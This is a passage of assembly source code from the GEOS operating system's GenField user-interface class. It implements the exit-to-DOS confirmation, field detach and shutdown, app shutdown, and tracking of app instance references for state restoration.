shutdown control ; list. Stuff adding themselves to the list in the meantime are ; hosed. ; mov ax, TEMP_GEN_FIELD_EXIT_TO_DOS_PENDING call ObjVarFindData jnc notExiting ; weren't waiting for apps ; else, shutdown mov ax, SST_CLEAN_FORCED call SysShutdown mov bp, -1 ; indicate shutdown mov ax, MSG_META_FIELD_NOTIFY_NO_FOCUS call NotifyWithBP jmp short done notExiting: ; Notify output about lack of focus node after setting bit telling ; ourselves we must load the default launcher. We only set the ; need-launcher bit if we didn't end up without a focus owing to the ; natural course of detaching... mov di, ds:[si] add di, ds:[di].GenField_offset test ds:[di].GFI_flags, mask GFF_DETACHING jnz notifyOutput ornf ds:[di].GFI_flags, mask GFF_NEED_DEFAULT_LAUNCHER notifyOutput: mov ax, MSG_META_FIELD_NOTIFY_NO_FOCUS call NotifyWithShutdownFlag jnc done ; notification sent ; ; No one to notify, toss it to the bottom of the heap, presuming that ; it's no longer useful. The system will try to find a new field to ; give the focus, & failing that, will shut down the system. ; mov bx, ds:[LMBH_handle] mov ax, MSG_GEN_LOWER_TO_BOTTOM mov di, mask MF_FORCE_QUEUE ; stick in queue to allow ; any dialogs to finish call ObjMessage done: ret GenFieldNotifyNoFocusWithinNode endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NotifyWithShutdownFlag %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set shutdown flag and notify output CALLED BY: INTERNAL PASS: *ds:si - GenField es - segment of GenFieldClass (not dgroup) ax - notification message RETURN: carry clear if notification sent carry set if no notification destination DESTROYED: bx, cx, dx, bp, di, si SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/22/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NotifyWithShutdownFlag proc far class GenFieldClass push es segmov es, dgroup, bp ; SH mov bp, -1 ; non-zero if UIF_DETACHING_SYSTEM test es:[uiFlags], mask UIF_DETACHING_SYSTEM pop es jnz haveShutdownFlag clr bp ; else, not shutting down haveShutdownFlag: FALL_THRU NotifyWithBP NotifyWithShutdownFlag endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NotifyWithBP %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify output with BP CALLED BY: INTERNAL PASS: *ds:si - GenField es - segment of GenFieldClass (not dgroup) ax - notification message bp - data to send RETURN: carry clear if notification sent carry set if no notification destination DESTROYED: bx, cx, dx, bp, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/22/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NotifyWithBP proc far class GenFieldClass mov cx, ds:[LMBH_handle] ; ^lcx:dx = this field mov dx, si mov di, ds:[si] add di, ds:[di].Gen_offset mov bx, ds:[di].GFI_notificationDestination.handle tst bx ; (clears carry) jz done ; no notification destination mov si, ds:[di].GFI_notificationDestination.chunk mov di, mask MF_FIXUP_DS call ObjMessage mov si, dx ; *ds:si <- field, again (dx ; preserved b/c not MF_CALL) stc ; indicate notification sent done: cmc ; reverse for consistency ret NotifyWithBP endp Common ends ;----------------------- Exit segment resource COMMENT @---------------------------------------------------------------------- METHOD: GenFieldExitToDos -- MSG_GEN_FIELD_EXIT_TO_DOS for GenFieldClass DESCRIPTION: Verifies that user wishes to exit to dos, then does so. PASS: *ds:si - instance data (for object in GenField class) es - segment of GenFieldClass ax - MSG_GEN_FIELD_EXIT_TO_DOS RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/14/92 Initial version ------------------------------------------------------------------------------@ GenFieldExitToDOS method dynamic GenFieldClass, MSG_GEN_FIELD_EXIT_TO_DOS ; ; let's first call the superclass to check if the specific UI wants ; to handle EXIT_TO_DOS specially. ; mov di, offset GenFieldClass call ObjCallSuperNoLock LONG jc exit ; ; check if user is allowed to exit to DOS ; call GenFieldCheckIfExitPermitted LONG jnc exit ; ; allow .ini file override of normal verification dialog ; push ds, si mov cx, cs ; cx:dx = key mov dx, offset confirmShutdownKey mov ds, cx ; ds:si = category mov si, offset confirmShutdownCategory call InitFileReadBoolean jc checkConfirm ; not found, show confirm tst ax ; AX=0 means no confirm ; (clears carry) jz checkConfirm stc ; else, indicate confirm checkConfirm: ; carry set to confirm, carry clear to skip confirm pop ds, si jc showConfirm ; ; no confirm, begin exiting ; mov ax, MSG_GEN_FIELD_EXIT_TO_DOS_CONFIRMATION_RESPONSE mov cx, IC_YES GOTO ObjCallInstanceNoLock showConfirm: ; ; show verification dialog ; ; ; get product name for .ini file ; push ds, si mov cx, cs ; cx:dx = key mov dx, offset productNameKey mov ds, cx ; ds:si = category mov si, offset productNameCategory ; return buffer mov bp, IFCC_INTACT shl offset IFRF_CHAR_CONVERT or \ 0 shl offset IFRF_SIZE call InitFileReadString ; carry clear if found pop ds, si jnc haveProductName clr bx ; else, no buffer haveProductName: push bx ; save product name buffer mov cx, bx ; cx = product name buffer ; ; fill in dialog params and put it up ; mov dx, ds:[LMBH_handle] ; dx = GenField handle mov bx, handle Strings call MemLock mov ds, ax sub sp, size GenAppDoDialogParams mov bp, sp mov ss:[bp].GADDP_dialog.SDP_customString.segment, ax mov ax, ds:[shutdownConfirmMessage] ; ax = string offset mov ss:[bp].GADDP_dialog.SDP_customString.offset, ax ; assume no product name, ; no space padding mov ax, ds:[nullString] movdw ss:[bp].GADDP_dialog.SDP_stringArg2, dsax movdw ss:[bp].GADDP_dialog.SDP_stringArg1, dsax jcxz useNullProductName ; no product name buffer mov bx, cx ; else, use product name... call MemLock mov ss:[bp].GADDP_dialog.SDP_stringArg2.segment, ax mov ss:[bp].GADDP_dialog.SDP_stringArg2.offset, 0 ; ...and space padding mov ax, ds:[spaceString] mov ss:[bp].GADDP_dialog.SDP_stringArg1.offset, ax useNullProductName: mov ss:[bp].GADDP_dialog.SDP_customFlags, \ mask CDBF_SYSTEM_MODAL or \ CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_AFFIRMATION shl offset CDBF_INTERACTION_TYPE mov ss:[bp].GADDP_finishOD.handle, dx mov ss:[bp].GADDP_finishOD.chunk, si mov ss:[bp].GADDP_message, MSG_GEN_FIELD_EXIT_TO_DOS_CONFIRMATION_RESPONSE clr ss:[bp].GADDP_dialog.SDP_helpContext.segment mov dx, size GenAppDoDialogParams mov ax, MSG_GEN_APPLICATION_DO_STANDARD_DIALOG call GenCallApplication add sp, size GenAppDoDialogParams ; ax = IC_YES, IC_NO, IC_NULL pop bx ; product name buffer tst bx jz noProductName call MemFree ; else, free it noProductName: mov bx, handle Strings ; unlock string buffer call MemUnlock ; ; don't do any more here as we're waiting for the user to respond ; to the "are your sure you want to exit?" dialog. Stuff should be ; done in the GenFieldExitToDosConfirmationResponse handler. ; exit: ret GenFieldExitToDOS endm confirmShutdownKey char "confirmShutdown",0 confirmShutdownCategory label char productNameCategory char "ui",0 productNameKey char "productName",0 COMMENT @------------------------------------------------------------------- GenFieldCheckIfExitPermitted ---------------------------------------------------------------------------- DESCRIPTION: Checks if the system is able/allowed to safely exit to DOS. CALLED BY: INTERNAL - GenFieldExitToDOS PASS: *ds:si = GenFieldClass object RETURN: CF = set if exit to DOS allowed clear otherwise DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 7/22/93 Initial version ---------------------------------------------------------------------------@ GenFieldCheckIfExitPermitted proc near uses ax, bx, dx, bp, ds, es .enter ; ; Does the system have a keyboard? ; This is important for hand-held ; computers with detachable keyboards. ; mov ax, GDDT_POWER_MANAGEMENT call GeodeGetDefaultDriver tst ax jz haveKeyboard ; assume keyboard exists push ds, si mov_tr bx, ax call GeodeInfoDriver ; ds:si = DriverInfoStruct mov di, DR_POWER_DEVICE_ON_OFF mov ax, PDT_KEYBOARD call ds:[si].DIS_strategy pop ds, si jnc haveKeyboard ; ; If not, inform the user they can't exit ; mov bx, handle Strings call MemLock mov es, ax sub sp, size GenAppDoDialogParams mov bp, sp mov ax, CustomDialogBoxFlags <1, CDT_NOTIFICATION, GIT_NOTIFICATION, 0> mov ss:[bp].GADDP_dialog.SDP_customFlags, ax mov bx, offset noKeyboardMessage mov ax, es:[bx] ; ax = string offset movdw ss:[bp].GADDP_dialog.SDP_customString, esax clr ax movdw ss:[bp].GADDP_dialog.SDP_stringArg1, axax movdw ss:[bp].GADDP_dialog.SDP_stringArg2, axax movdw ss:[bp].GADDP_dialog.SDP_customTriggers, axax movdw ss:[bp].GADDP_dialog.SDP_helpContext, axax mov ax, ds:[LMBH_handle] ; ax = GenField handle movdw ss:[bp].GADDP_finishOD, axsi mov ss:[bp].GADDP_message, MSG_META_DUMMY mov dx, size GenAppDoDialogParams mov ax, MSG_GEN_APPLICATION_DO_STANDARD_DIALOG call GenCallApplication add sp, size GenAppDoDialogParams mov bx, handle Strings ; unlock string buffer call MemUnlock ; ; Make sure the carry flag is set correctly! ; clc exit: .leave ret haveKeyboard: stc jmp exit GenFieldCheckIfExitPermitted endp COMMENT @---------------------------------------------------------------------- METHOD: GenFieldExitToDosConfirmationResponse -- MSG_GEN_FIELD_EXIT_TO_DOS_CONFIRMATION_RESPONSE for GenFieldClass DESCRIPTION: If user wishes to exit to dos, then does so. PASS: *ds:si - instance data (for object in GenField class) es - segment of GenFieldClass ax - MSG_GEN_FIELD_EXIT_TO_DOS_CONFIRMATION_RESPONSE cx - InteractionCommand RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/14/92 Initial version ------------------------------------------------------------------------------@ GenFieldExitToDosConfirmationResponse method dynamic GenFieldClass, MSG_GEN_FIELD_EXIT_TO_DOS_CONFIRMATION_RESPONSE cmp cx, IC_YES ; yes? jne exit ; no, don't exit ; ; If this field is in 'quitOnClose' mode, make sure we quit all apps ; before exiting. ; mov ax, MSG_GEN_FIELD_ABOUT_TO_CLOSE call ObjCallInstanceNoLock jnc exitNow ; ; indicate that we'll be waiting for all apps to quit (don't save to ; state). We check this in MSG_META_NOTIFY_NO_FOCUS_WITHIN_NODE. ; mov ax, TEMP_GEN_FIELD_EXIT_TO_DOS_PENDING clr cx call ObjVarAddData jmp short exit ; 'quitOnClose', wait till all ; apps exit exitNow: ; ; user confirmed exit, do so now ; mov ax, SST_CLEAN clr cx ; notify UI when all done call SysShutdown exit: ret GenFieldExitToDosConfirmationResponse endm COMMENT @---------------------------------------------------------------------- METHOD: GenFieldDetach -- MSG_META_DETACH for GenFieldClass DESCRIPTION: Detaches the field completely. Ensures that field is not active, shuts down all applications, removes field from tree, to make safe for shutdown PASS: *ds:si - instance data (for object in GenField class) es - segment of GenFieldClass ax - MSG_META_DETACH cx - caller's ID (value to be returned in MSG_META_DETACH_COMPLETE to this object, & in MSG_META_ACK to caller) dx:bp - OD to send MSG_META_ACK to when all done. RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 12/89 Initial version ------------------------------------------------------------------------------@ GenFieldDetach method GenFieldClass, MSG_META_DETACH EC < xchg bx, dx > EC < xchg si, bp > EC < call ECCheckOD > EC < xchg bx, dx > EC < xchg si, bp > ; ; make sure we clear this before quitting ; mov di, ds:[si] add di, ds:[di].Gen_offset andnf ds:[di].GFI_flags, \ not (mask GFF_RESTORING_APPS or mask GFF_QUIT_ON_CLOSE) test ds:[di].GFI_flags, mask GFF_DETACHING jne AlreadyDetached ; See if in generic tree (THIS MAY NOT BE NEEDED) cmp ds:[di].GI_link.LP_next.handle, 0 jne 90$ AlreadyDetached: ; If already detached, just send ACK, to ; prevent any oddities from happening mov bx, dx mov si, bp mov ax, MSG_META_ACK clr di GOTO ObjMessage 90$: ; ; if detaching system, put up exiting status box ; push es segmov es, dgroup, di test es:[uiFlags], mask UIF_DETACHING_SYSTEM pop es jz notSysDetach push si, cx, dx, bp mov bx, handle UIApp mov si, offset UIApp mov cx, handle ShutdownStatusBox mov dx, offset ShutdownStatusBox mov ax, MSG_GEN_ADD_CHILD_UPWARD_LINK_ONLY mov di, mask MF_FIXUP_DS call ObjMessage mov bx, handle ShutdownStatusBox mov si, offset ShutdownStatusBox mov ax, MSG_GEN_INTERACTION_INITIATE mov di, mask MF_FIXUP_DS call ObjMessage pop si, cx, dx, bp notSysDetach: mov ax, MSG_META_DETACH ; detach message ; Set flag indicating we're detaching. mov di, ds:[si] add di, ds:[di].Gen_offset or ds:[di].GFI_flags, mask GFF_DETACHING andnf ds:[di].GFI_flags, not mask GFF_LOAD_DEFAULT_LAUNCHER_WHEN_NEXT_PROCESS_EXITS call ObjInitDetach FALL_THRU HandleFieldDetachLow GenFieldDetach endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HandleFieldDetachLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handles the detach method correctly (checks for attaching apps, etc). CALLED BY: GLOBAL PASS: *ds:si - ptr to GenField object cx - caller's ID (value to be returned in MSG_META_DETACH_COMPLETE to this object, & in MSG_META_ACK to caller) dx:bp - OD to send MSG_META_ACK to when all done. ax - message provoking call MSG_META_DETACH RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 7/ 5/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HandleFieldDetachLow proc far class GenFieldClass mov di, ds:[si] add di, ds:[di].Gen_offset tst ds:[di].GFI_numAttachingApps ;If waiting for apps to come jnz exit ; up, branch; we'll shutdown ; once the final attaching ; app is done attaching. ; let our superclass have a crack at it first, so spui can do what ; it does best. mov di, offset GenFieldClass call ObjCallSuperNoLock call ShutdownField ;Just shutdown the field exit: ret HandleFieldDetachLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldDetachAbort %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Aborts the current detach. CALLED BY: GLOBAL PASS: *ds:si - this object ds:di - gen field instance data es - segment of GenFieldClass RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 4/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldDetachAbort method GenFieldClass, MSG_META_DETACH_ABORT andnf ds:[di].GFI_flags, not mask GFF_DETACHING mov di, offset GenFieldClass ;ES:DI <- ptr to this object GOTO ObjCallSuperNoLock GenFieldDetachAbort endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShutdownField %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Does miscellaneous shutdown for the field CALLED BY: GLOBAL PASS: *ds:si - object RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/ 1/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ShutdownField proc near class GenFieldClass EC < call ECCheckObject > mov di, ds:[si] add di, ds:[di].Gen_offset mov bx, ds:[di].GFI_processes ; IF THERE ARE PROCESSES AROUND, THEN WE WANT TO WAIT UNTIL THEY HAVE ; ALL EXITED BEFORE WE FINISH DETACHING. DO AN ObjIncDetach() HERE, AND ; DO ObjAckDetach() in GenFieldProcessExit() AFTER ALL PROCESSES HAVE ; EXITED. tst bx jz 10$ ChunkSizeHandle ds, bx, cx jcxz 10$ call ObjIncDetach 10$: mov cx, ds:[LMBH_handle] ;First, release field exclusive mov dx, si mov bp, mask MAEF_FOCUS or mask MAEF_TARGET or mask MAEF_MODEL mov ax, MSG_META_MUP_ALTER_FTVMC_EXCL call UserCallSystem ; ; disable help windows ; push si mov ax, MSG_GEN_SET_NOT_USABLE mov dl, VUM_NOW mov bx, handle SysHelpObject mov si, offset SysHelpObject mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage mov ax, MSG_GEN_SET_NOT_USABLE mov dl, VUM_NOW mov bx, handle SysModalHelpObject mov si, offset SysModalHelpObject mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si mov ax, MSG_GEN_FIELD_SHUTDOWN_APPS call ObjCallInstanceNoLock ;Shutdown the apps ret ShutdownField endp COMMENT @---------------------------------------------------------------------- METHOD: GenFieldDetachComplete DESCRIPTION: Handler for notification that all children have completed detaching. This is subclassed from the default MetaClass behavior which sends a MSG_META_ACK to the caller passed in ObjInitDetach. PASS: *ds:si - instance data (for object in GenField class) es - segment of GenFieldClass ax - MSG_META_DETACH_COMPLETE cx - caller's ID (value to be returned in MSG_META_DETACH_COMPLETE to this object, & in MSG_META_ACK to caller) dx:bp - OD to send MSG_META_ACK to when all done. RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 12/89 Initial version ------------------------------------------------------------------------------@ GenFieldDetachComplete method GenFieldClass, MSG_META_DETACH_COMPLETE push ax push cx push dx push bp EC < xchg bx, dx > EC < xchg si, bp > EC < call ECCheckOD > EC < xchg bx, dx > EC < xchg si, bp > ; See if detaching or not mov di, ds:[si] add di, ds:[di].Gen_offset test ds:[di].GFI_flags, mask GFF_DETACHING jz AfterDetaching ; if not, SKIP detach stuff. ; let spui do some stuff mov ax, MSG_GEN_FIELD_ABOUT_TO_DETACH_COMPLETE mov di, offset GenFieldClass call ObjCallSuperNoLock ; First, make field object NOT USABLE mov dl, VUM_NOW mov ax, MSG_GEN_SET_NOT_USABLE call ObjCallInstanceNoLock ; & remove from generic tree. ; Get Field object in cx:dx mov cx, ds:[LMBH_handle] mov dx, si mov ax, MSG_GEN_REMOVE_CHILD clr bp call GenCallParent ; Clean up instance data so we're OK ; for detaching. mov di, ds:[si] add di, ds:[di].Gen_offset mov ds:[di].GFI_visParent.handle, 0 mov ds:[di].GFI_visParent.chunk, 0 andnf ds:[di].GFI_flags, not mask GFF_DETACHING AfterDetaching: ; Then, call superclass to pass on ; acknowledge to the caller of the ; MSG_META_DETACH pop bp pop dx pop cx pop ax mov di, offset UserClassStructures:GenFieldClass call ObjCallSuperNoLock ; ; finally, notify notification optr ; mov ax, MSG_META_FIELD_NOTIFY_DETACH call NotifyWithShutdownFlag ; don't care if not sent ret GenFieldDetachComplete endm COMMENT @---------------------------------------------------------------------- METHOD: GenFieldShutdownApps DESCRIPTION: Shutdown all applications running in field PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_SHUTDOWN_APPS RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 12/89 Initial version ------------------------------------------------------------------------------@ GenFieldShutdownApps method dynamic GenFieldClass, MSG_GEN_FIELD_SHUTDOWN_APPS ; Re-order list of applications to be in order of the app's windows ; on-screen ; mov ax, MSG_GEN_FIELD_ORDER_GEN_APPLICATION_LIST call ObjCallInstanceNoLock mov di, ds:[si] add di, ds:[di].Gen_offset ; ; do not clear number of apps here as in Wizard guided mode (quitOnClose) ; WShell has done a MSG_GEN_FIELD_ADD_APP_INSTANCE_REFERENCE_HOLDER and ; detached itself to get itself saved to state. If we were to clear the ; number of apps, we'd lose the WShell entry. (Clearing is bad anyways, ; as the GFI_app chunk array isn't cleared). Associated fix is to ensure ; that MSG_GEN_FIELD_ADD_APP_INSTANCE_REFERENCE_HOLDER can handle adding ; a reference for the same app twice. - brianc 4/1/93 ; ; clr ds:[di].GFI_numDetachedApps ; clr # of detached apps ; ; add ApplicationInstanceReference block for each GenApp ; mov di, ds:[di].GFI_genApplications tst di ; any apps? jz done ; nope mov bx, di ; bx = list chunk mov di, ds:[di] ; ds:di = list inc di jz done ; no apps dec di jz done ; no apps ChunkSizePtr ds, di, cx ; cx = size of list shr cx shr cx ; cx = number of genApps push cx ; save it mov di, bx ; di = list chunk clr bx ; bx = list offset addRefLoop: push cx push di ; save list chunk mov di, ds:[di] ; deref. list mov bp, ds:[di][bx]+2 ; bp = handle of GenApp mov ax, MSG_GEN_FIELD_ADD_APP_INSTANCE_REFERENCE_HOLDER call ObjCallInstanceNoLock pop di ; restore list chunk add bx, size optr ; bump list offset pop cx loop addRefLoop pop cx ; retrieve # apps ; ; then, detach all applications ; *ds:si = GenField ; cx = number of GenApps ; mov di, ds:[si] add di, ds:[di].Gen_offset mov di, ds:[di].GFI_genApplications mov di, ds:[di] ; ds:di = GenApp list detachLoop: call ObjIncDetach ; One more acknowledge that we need to ; receive. push cx clr cx ; No ID being used mov dx, ds:[LMBH_handle] ; Send MSG_META_ACK for apps back to mov bp, si ; their parent (GenField) push si ; save GenField chunk ; Send MSG_META_DETACH to app objects mov bx, ds:[di]+2 ; GenApp handle if (0) ; New idea - doug 6/2/92 mov si, ds:[di]+0 ; GenApp chunk else mov ax, MGIT_EXEC_THREAD call MemGetInfo ; Get thread that runs that app object mov bx, ax call MemOwner ; Get owning process - that's what we clr si ; actually want to DETACH. endif push di ; save GenApp list offset mov ax, MSG_META_DETACH ; force-queue -> doesn't move lmem block mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage pop di ; retrieve GenApp list offset add di, size optr pop si ; *ds:si = GenField pop cx loop detachLoop done: call ObjEnableDetach ; Allow detaching any time... ret GenFieldShutdownApps endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldAddAppInstanceReferenceHolder %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Creates an entry for the passed application that will be filled in after the state file gets created. CALLED BY: GLOBAL PASS: bp - handle of associated app object RETURN: nothing ALLOWED_TO_DESTROY: ax, cx, dx, bp bx, si, di, ds, es KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 10/ 1/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenFieldAddAppInstanceReferenceHolder method GenFieldClass, MSG_GEN_FIELD_ADD_APP_INSTANCE_REFERENCE_HOLDER call ObjMarkDirty ; Make sure this object is marked as dirty ; Init chunk for application list mov di, ds:[si] add di, ds:[di].Gen_offset tst ds:[di].GFI_apps ; if we already have one, done jnz HaveAppChunk mov al, mask OCF_DIRTY clr bx ; variable-sized elements clr cx ; no extra space in header push si clr si ; alloc new handle call ChunkArrayCreate ; create a new chunk ; & store it away. mov_tr ax, si pop si mov di, ds:[si] add di, ds:[di].Gen_offset mov ds:[di].GFI_apps, ax HaveAppChunk: ; ; first, check if we already have one for this app ; *ds:si = GenField ; bp = app handle ; push si mov di, ds:[si] add di, ds:[di].Gen_offset mov si, ds:[di].GFI_apps mov bx, cs mov di, offset AppAppInstanceReferenceHolderCB call ChunkArrayEnum pop si jc done ;already there mov di, ds:[si] add di, ds:[di].Gen_offset inc ds:[di].GFI_numDetachedApps ;inc # apps listed in chunk if DBCS_PCGEOS ; ; If the field is exited when exiting all apps, there is a situation ; where an AppInstanceReference will be allocated and stored in the ; field but which never gets filled in because the app has been exited. ; In this case, when the field restores from state, it finds an empty ; AppInstanceReference. In DBCS, the empty AppInstanceRefernce ; includes one zero byte for AIR_savedDiskData. This is fine for ; SBCS since it'll be recognized as not being a FSSavedStdPath. For ; DBCS, FSSSP_signature is a word, so a random byte after the AIR ; is checked. If non-zero, the AIR_savedDiskData will be interpreted ; as a FSSavedStdPath and bad things will happen. To avoid this, we'll ; just allocate an extra zero byte here. - brianc 12/8/93 ; mov ax, size AppInstanceReference+1 ; make it the minimum size... else mov ax, size AppInstanceReference ; make it the minimum size... endif mov si, ds:[di].GFI_apps call ChunkArrayAppend ; ; DS:DI <- ptr to new slot for AppInstanceReference ; mov ds:[di].AIR_diskHandle, bp ;Save handle of app mov ds:[di].AIR_stateFile[0], 0 ;Init to having no state file, ; so if the application doesn't ; give us a state file (e.g. it ; couldn't create one), we ; don't try to restart it. done: ret GenFieldAddAppInstanceReferenceHolder endp ; ; pass: ; *ds:si = chunk array ; ds:di = AppInstanceReference ; bp = app handle ; return: ; carry clear to continue ; carry set to stop ; AppAppInstanceReferenceHolderCB proc far cmp bp, ds:[di].AIR_diskHandle stc ; assume found, stop je done clc ; otherwise, continue done: ret AppAppInstanceReferenceHolderCB endp COMMENT @---------------------------------------------------------------------- METHOD: GenFieldAddAppRef DESCRIPTION: Add another application reference PASS: *ds:si - instance data es - segment of GenFieldClass ax - MSG_GEN_FIELD_ADD_APP_INSTANCE_REFERENCE dx - block handle holding structure AppInstanceReference bp - handle of application whose AIR we are adding RETURN: nothing Block freed ALLOWED_TO_DESTROY: ax, cx, dx, bp ax, bx, cx, dx, si REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 12/89 Initial version ------------------------------------------------------------------------------@ GenFieldAddAppRef method dynamic GenFieldClass, MSG_GEN_FIELD_ADD_APP_INSTANCE_REFERENCE mov si, ds:[di].GFI_apps ; *ds:si <- AIR array tst si ; make sure the thing exists... EC < ;Must already have chunk here > EC < ERROR_Z GEN_FIELD_DOESNT_HAVE_APP_REF_CHUNK > NEC < jz exit > mov bx, cs mov di, offset GFAAR_callback clr cx ; first element is # 0 call ChunkArrayEnum EC < ERROR_NC CANNOT_FIND_APP_IN_LIST > NEC < jnc exit > tst dx jz deleteRef mov bx, dx mov ax, MGIT_SIZE call MemGetInfo ; ax <- size of AppInstanceRef + disk ; data xchg ax, cx ; ax <- element #, cx <- new size call ChunkArrayElementResize call ChunkArrayElementToPtr ; ds:di <- element segmov es, ds ; es:di <- element call MemLock mov ds, ax clr si EC < tst ds:[si].AIR_diskHandle > EC < ERROR_Z NO_DISK_HANDLE_IN_APP_INSTANCE_REFERENCE > rep movsb NEC <exit: > NEC < mov bx, dx ; in case jumped here from above> NEC < ; error conditions > call MemFree ; free up the passed AppInstanceReference block done: ret deleteRef: ; ; If handle is 0, it means the app was a server and shouldn't be ; restored from state, so we delete its AppInstanceReference entry ; from the array. ; mov ax, cx call ChunkArrayElementToPtr ; ds:di <- element to nuke call ChunkArrayDelete ; nukez le. jmp done GenFieldAddAppRef endm GFAAR_callback proc far cmp ds:[di].AIR_diskHandle, bp ; geode handle matches saved? stc ; assume yes => element found je done ; yes inc cx ; no -- up returned element number since ; current item isn't the one we're ; after clc done: ret GFAAR_callback endp Exit ends ;---------------------- Init segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenFieldRestoreApps %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine starts restoring all the apps, by setting up the pass params for MSG_GEN_FIELD_RESTORE_NEXT_APP so it will restore the first application. CALLED BY: GLOBAL PASS: 